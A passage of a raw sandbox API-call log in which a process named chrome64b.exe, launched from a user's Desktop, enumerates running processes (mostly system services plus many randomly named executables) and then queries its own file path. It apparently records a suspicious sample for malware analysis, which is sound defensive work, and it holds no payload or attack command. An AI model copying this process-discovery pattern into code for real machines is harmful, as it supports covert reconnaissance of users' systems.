[0152.620] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.621] lstrlenW (lpString="svchost.exe") returned 11 [0152.621] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.621] lstrlenW (lpString="svchost.exe") returned 11 [0152.621] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.622] lstrlenW (lpString="svchost.exe") returned 11 [0152.622] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.623] lstrlenW (lpString="svchost.exe") returned 11 [0152.623] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.623] lstrlenW (lpString="svchost.exe") returned 11 [0152.623] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.624] lstrlenW (lpString="svchost.exe") returned 11 [0152.624] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.624] lstrlenW (lpString="svchost.exe") returned 11 [0152.624] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.633] lstrlenW (lpString="svchost.exe") returned 11 [0152.633] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.634] lstrlenW (lpString="svchost.exe") returned 11 [0152.634] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0152.634] lstrlenW (lpString="spoolsv.exe") returned 11 [0152.634] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.635] lstrlenW (lpString="svchost.exe") returned 11 [0152.635] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.635] lstrlenW (lpString="svchost.exe") returned 11 [0152.635] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0152.636] lstrlenW (lpString="audiodg.exe") returned 11 [0152.636] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0152.637] lstrlenW (lpString="sihost.exe") returned 10 [0152.637] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.637] lstrlenW (lpString="svchost.exe") returned 11 [0152.637] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0152.638] lstrlenW (lpString="taskhostw.exe") returned 13 [0152.638] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0152.638] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0152.638] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0152.639] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0152.639] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0152.640] lstrlenW (lpString="explorer.exe") returned 12 [0152.640] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0152.640] lstrlenW (lpString="Memory Compression") returned 18 [0152.640] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0152.641] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0152.641] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0152.641] lstrlenW (lpString="SearchUI.exe") returned 12 [0152.641] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0152.642] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0152.642] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0152.643] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0152.643] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0152.643] lstrlenW (lpString="taskhostw.exe") returned 13 [0152.643] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0152.644] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0152.644] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0152.644] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0152.645] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0152.645] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0152.645] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0152.646] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0152.646] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0152.646] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0152.646] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0152.647] lstrlenW (lpString="conhost.exe") returned 11 [0152.647] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0152.648] lstrlenW (lpString="screensaver.exe") returned 15 [0152.648] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0152.648] lstrlenW (lpString="upperarc.exe") returned 12 [0152.648] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0152.649] lstrlenW (lpString="buying.exe") returned 10 [0152.649] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0152.649] lstrlenW (lpString="downloadable.exe") returned 16 [0152.649] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0152.650] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0152.650] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0152.650] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0152.650] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0152.651] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0152.651] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0152.652] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0152.652] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0152.653] lstrlenW (lpString="moments.exe") returned 11 [0152.653] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0152.653] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0152.654] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0152.654] lstrlenW (lpString="stream-test.exe") returned 15 [0152.654] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0152.655] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0152.655] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0152.655] lstrlenW (lpString="taskhostw.exe") returned 13 [0152.655] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0152.656] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0152.656] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0152.657] lstrlenW (lpString="movers-indication.exe") returned 21 [0152.657] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0152.657] lstrlenW (lpString="drama tv thee.exe") returned 17 [0152.657] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0152.658] lstrlenW (lpString="barriers.exe") returned 12 [0152.658] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0152.659] lstrlenW (lpString="shootclick.exe") returned 14 [0152.659] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0152.660] lstrlenW (lpString="nickel.exe") returned 10 [0152.660] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0152.660] lstrlenW (lpString="imperialopened.exe") returned 18 [0152.660] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0152.661] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0152.661] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0152.662] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0152.662] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0152.662] lstrlenW (lpString="perhapssentences.exe") returned 20 [0152.662] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0152.663] lstrlenW (lpString="dllhost.exe") returned 11 [0152.663] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.664] lstrlenW (lpString="svchost.exe") returned 11 [0152.664] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0152.664] lstrlenW (lpString="dllhost.exe") returned 11 [0152.664] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0152.665] lstrlenW (lpString="dllhost.exe") returned 11 [0152.665] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0152.673] lstrlenW (lpString="chrome64b.exe") returned 13 [0152.673] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0152.674] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0152.674] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0152.674] lstrlenW (lpString="conhost.exe") returned 11 [0152.674] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0152.675] CloseHandle (hObject=0x240) returned 1 [0152.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ac4b0 | out: hHeap=0x790000) returned 1 [0152.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ac4f8 | out: hHeap=0x790000) returned 1 [0152.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a5790 | out: hHeap=0x790000) returned 1 [0152.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a57b0 | out: hHeap=0x790000) returned 1 [0152.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a6028 | out: hHeap=0x790000) returned 1 [0152.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d5478 | out: hHeap=0x790000) returned 1 [0152.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a5710 | out: hHeap=0x790000) returned 1 [0152.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a5570 | out: hHeap=0x790000) returned 1 [0152.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cee60 | out: hHeap=0x790000) returned 1 [0152.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cecf8 | out: hHeap=0x790000) returned 1 [0152.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a56b0 | out: hHeap=0x790000) returned 1 [0152.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ceeb0 | out: hHeap=0x790000) returned 1 [0152.675] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7d7758 [0152.675] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7e7760 [0152.676] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5208 [0152.676] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5208, Size=0x20) returned 0x7ceeb0 [0152.676] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ceeb0, Size=0x40) returned 0x7ac4b0 [0152.676] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d52b0 [0152.676] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d52b0, Size=0x20) returned 0x7ceeb0 [0152.676] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d53a0 [0152.676] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d53a0, Size=0x20) returned 0x7cefa0 [0152.676] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5430 [0152.676] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5430, Size=0x20) returned 0x7cee60 [0152.676] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cee60, Size=0x40) returned 0x7ac858 [0152.676] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7e7760, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\chrome64b.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\chrome64b.exe")) returned 0x25 [0152.676] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7f7768 [0152.676] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x807770 [0152.677] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5328 [0152.677] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5328, Size=0x20) returned 0x7ceed8 [0152.677] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ceed8, Size=0x40) returned 0x7ac810 [0152.677] RtlReAllocateHeap (Heap=0x790000, 